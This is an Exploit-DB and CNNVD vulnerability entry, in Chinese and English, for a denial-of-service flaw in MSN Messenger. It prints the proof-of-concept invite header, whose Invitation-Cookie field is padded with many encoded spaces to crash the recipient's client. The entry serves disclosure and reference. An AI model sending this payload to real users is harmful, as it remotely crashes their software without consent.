https://www.exploit-db.com/exploits/21481
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-167

Microsoft’sMSNMessenger是一款基于Windows系统的即时信息交互客户端程序。Microsoft’sMSNMessenger在处理不正确邀请请求时存在漏洞，可导致远程攻击者进行拒绝服务攻击。攻击者可以通过发送不正常的邀请请求，如在头信息中的Invitation-Cookie字段包含多个HTML编码的空格(%20)字符，可以导致远程用户的MSNmessenger崩溃。

source: http://www.securityfocus.com/bid/4827/info

Microsoft's MSN Messenger is an instant messenging client for Windows based machines, based on the Passport system.

A vulnerability has been reported in some versions of MSN Messenger. Under some circumstances, it may be possible to crash the client when it receives a malformed invite request. By including a number of HTML-encoded space characters (%20) in the Invitation-Cookie field, and sending the header to a remote user, it is reportedly possible to crash a remote user's client. 

MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Application-Name: Remote Assistance
Application-GUID: {56b994a7-380f-410b-9985-c809d78c1bdc}
Session-Protocol: SM1
Application-URL: http://www.microsoft.com
Invitation-Command: INVITE
Invitation-Cookie: 54902160%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
Session-ID: {8B1BE64F-4019-489D-B1A3-EC0BA993651B}

来源:BID
名称:4827
链接:http://www.securityfocus.com/bid/4827
来源:XF
名称:msn-invite-dos(9161)
链接:http://www.iss.net/security_center/static/9161.php
来源：NSFOCUS
名称：2844
链接：http://www.nsfocus.net/vulndb/2844